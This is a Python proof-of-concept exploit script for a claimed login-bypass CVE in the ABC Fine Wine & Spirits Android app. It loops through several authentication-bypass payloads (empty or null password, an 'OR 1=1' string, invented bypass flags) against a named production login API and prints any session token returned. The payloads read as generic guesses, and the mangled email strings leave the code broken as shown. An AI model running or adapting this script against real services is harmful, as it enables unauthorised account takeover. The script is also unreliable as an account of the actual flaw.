import requests
import json
# CVE-2025-61115 PoC - ABC Fine Wine & Spirits Android App Login Bypass
# Target: ABC Fine Wine & Spirits Android App (v.11.27.5 and before)
# Package: com.cta.abcfinewineandspirits
TARGET_URL = "https://api.abcfinewineandspirits.com/v1/auth/login"
def exploit_login_bypass():
"""
Attempt to bypass login authentication and obtain valid session identifier.
This PoC demonstrates the improper access control vulnerability.
"""
# Normal login payload
normal_payload = {
"username": "
[email protected]",
"password": "any_password",
"app_version": "11.27.5",
"platform": "android"
}
# Bypass payload - exploit the improper access control
bypass_payloads = [
{"username": "
[email protected]", "password": "", "app_version": "11.27.5"},
{"username": "
[email protected]", "password": None, "app_version": "11.27.5"},
{"username": "
[email protected]", "password": "OR 1=1", "app_version": "11.27.5"},
{"username": "
[email protected]", "bypass_auth": True, "app_version": "11.27.5"},
{"username": "
[email protected]", "auth_token": "admin_bypass", "app_version": "11.27.5"}
]
headers = {
"Content-Type": "application/json",
"User-Agent": "ABC-FineWine/11.27.5 Android/13",
"X-App-Version": "11.27.5"
}
print("[*] CVE-2025-61115 - ABC Fine Wine & Spirits Login Bypass PoC")
print("[*] Target: {}".format(TARGET_URL))
for i, payload in enumerate(bypass_payloads, 1):
print("\n[*] Testing bypass method {}...".format(i))
try:
response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if 'session_token' in data or 'session_id' in data or 'auth_token' in data:
print("[!] VULNERABLE! Obtained session identifier:")
print("[+] Response: {}".format(json.dumps(data, indent=2)))
return data
print("[-] Method {} failed with status: {}".format(i, response.status_code))
except requests.RequestException as e:
print("[-] Request failed: {}".format(str(e)))
print("\n[*] Exploitation completed. Check results above.")
return None
if __name__ == "__main__":
exploit_login_bypass()